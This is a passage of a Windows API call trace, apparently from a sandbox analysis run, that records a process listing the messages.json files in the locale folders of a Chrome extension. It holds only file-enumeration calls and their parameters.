lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.115] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834f3070, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398bc90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5224, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.115] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0057.187] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.187] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1 [0057.188] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe10 [0057.188] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.188] FindNextFileW (in: hFindFile=0x7cbe10, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834ff3c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f8b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.188] FindClose (in: hFindFile=0x7cbe10 | out: hFindFile=0x7cbe10) returned 1 [0057.188] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.188] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835068f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb", cAlternateFileName="")) returned 1 [0057.188] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835068f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.189] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835068f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.189] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835068f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.189] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.191] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.191] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8357bbf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0057.191] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nl\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8357bbf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.192] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835794e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8357bbf0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.192] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8357bbf0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8357bbf0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3f45, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.192] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.192] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.192] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83583120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0057.192] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83583120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.193] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83583120, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.193] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83583120, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83583120, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8398e3a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fd7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.193] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.193] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.193] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359b7c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8359b7c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0057.193] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359b7c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8359b7c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.194] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359b7c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8359b7c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.194] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8359b7c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8359ded0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.194] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.194] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.194] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a05e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_BR", cAlternateFileName="")) returned 1 [0057.194] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a05e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.195] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a05e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.195] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835a05e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a05e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.195] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.195] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.195] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a5400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt_PT", cAlternateFileName="")) returned 1 [0057.196] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a5400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.196] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835a5400, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.196] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835a5400, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835a5400, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3fdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.196] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.196] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.196] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b1750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b1750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0057.196] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b1750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b1750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.197] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b1750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b1750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.197] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835b1750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b3e60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83990ab0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40db, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.197] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.197] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.197] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b8c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b8c80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0057.198] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b8c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b8c80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cbe90 [0057.198] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835b8c80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835b8c80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.198] FindNextFileW (in: hFindFile=0x7cbe90, lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x835b8c80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835bb390, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839931c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x490e, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0057.198] FindClose (in: hFindFile=0x7cbe90 | out: hFindFile=0x7cbe90) returned 1 [0057.198] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x4f68020 | out: hHeap=0x790000) returned 1 [0057.198] FindNextFileW (in: hFindFile=0x7cbdd0, lpFindFileData=0x45fdf30 | out: lpFindFileData=0x45fdf30*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c01b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c01b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0057.198] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*", lpFindFileData=0x45fdcb4 | out: lpFindFileData=0x45fdcb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835c01b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835c01b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, 